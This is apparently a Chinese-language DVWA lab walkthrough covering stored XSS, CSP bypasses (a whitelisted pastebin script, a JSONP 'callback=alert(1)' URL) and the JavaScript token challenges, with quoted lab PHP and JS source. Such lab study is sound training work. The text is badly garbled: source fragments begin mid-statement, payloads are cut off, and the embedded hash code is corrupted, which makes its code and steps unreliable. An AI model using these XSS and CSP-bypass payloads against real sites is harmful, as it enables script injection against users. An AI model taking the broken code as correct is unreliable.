htmlspecialchars() 函数用于把预定义的字符 "<" 和 ">" 转换为 HTML 实体,防止了我们注入 HTML 标签。htmlspecialchars 函数会将 < 和 > 转换成 html 实体而不是当做标签,所以我们插入的语句并不会被执行。
嵌入到web页面的恶意HTML会被存储到应用服务器端,简而言之就是会被存储到数据库,等用户在打开页面时,会继续执行恶意代码,能够持续的攻击用户
存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
NAME处进行了长度限制,所以我们在Message处使用 进行尝试
再次访问此页面时,就会有次弹窗
成功后更新数据库
源码解析:
标签
// addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '
ipt>alert(1)
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
与11的High相同,script被过滤
使用BP改name即可
![](1)
源码解析:
prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
对Name和Message都使用了htmlspecialchars()函数做了过滤,还加了token值,进一步提高了安全性。
CSP 是一种白名单制度,实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机
源码解析:
";
}
$page[ 'body' ] .= '
';
从源代码中$headerCSP可以看出来,这里定义了几个受信任的站点,只能允许这几个站点的脚本才可以运行。
其中 pastebin.com 是一个快速分享文本内容的网站,这个内容我们是可控的
在源代码中给了我们测试站点https://pastebin.com/raw/R570EE00
提交后查看源代码
已经被引用
源码解析:
alert(1)
?>
Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.
';
这一个关卡使用来了 unsafe-inline 和 nonce ,所以页面内嵌脚本,必须有这个token才能执行
源码解析:
The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.
1+2+3+4+5=
';
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
CSP 规则这里十分苛刻,只能引用允许self 的脚本执行,self是指本页面加载的脚本
构造Poc/DVWA/vulnerabilities/csp/source/jsonp.php?callback=alert(1)
,触发弹窗
源码解析:
Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.
The CSP settings only allow external JavaScript on the local server and no inline code.
1+2+3+4+5=
';
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的
源码解析:
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
EOF;
?>
中间那一大团使用了 md5 加密生成了 token,和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值
源码解析:
';
?>
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}
将 phrase 逆序输出,然后在前后分别添加 XX 作为规律
所以当我们输入 success 的话,对应的 token 应该就是 XXsseccusXX
源码解析:
';
?>
var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M>2]|=s[M]<>2]|=r<>2]|=(2t|(r>>6))<>2]|=(R|(r&V))<=2E){l[i>>2]|=(2D|(r>>12))<>2]|=(R|((r>>6)&V))<>2]|=(R|(r&V))<>2]|=(2X|(r>>18))<>2]|=(R|((r>>12)&V))<>2]|=(R|((r>>6)&V))<>2]|=(R|(r&V))<=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));
high.js中用了js混淆,以通过调整JS,再控制台输入正确的JS文件,使应用获取到"success"。
无